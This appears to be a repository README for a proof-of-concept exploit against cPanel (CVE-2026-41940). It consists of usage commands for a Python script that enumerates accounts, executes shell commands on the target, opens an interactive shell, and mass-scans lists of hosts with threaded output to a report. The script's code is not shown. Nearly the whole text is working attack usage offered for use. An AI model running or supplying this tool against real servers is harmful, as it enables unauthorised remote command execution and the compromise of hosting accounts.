imbas007/poc_cve-2026-41940Proof-of-concept exploit for CVE-2026-41940 targeting cPanel, enabling account enumeration, command execution, and interactive shell access on vulnerable hosts.
python3 poc_CVE-2026-41940.py -h
Scan one host
python3 poc_CVE-2026-41940.py -u https://target.example:2086
List accounts after successful chain
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action list
Run a shell command
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action cmd --cmd 'id; whoami; uname -a'
Interactive shell
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action shell
Targets from file + JSON report
python3 poc_CVE-2026-41940.py -l targets.txt -t 20 -o results.json
ref : ynsmroztas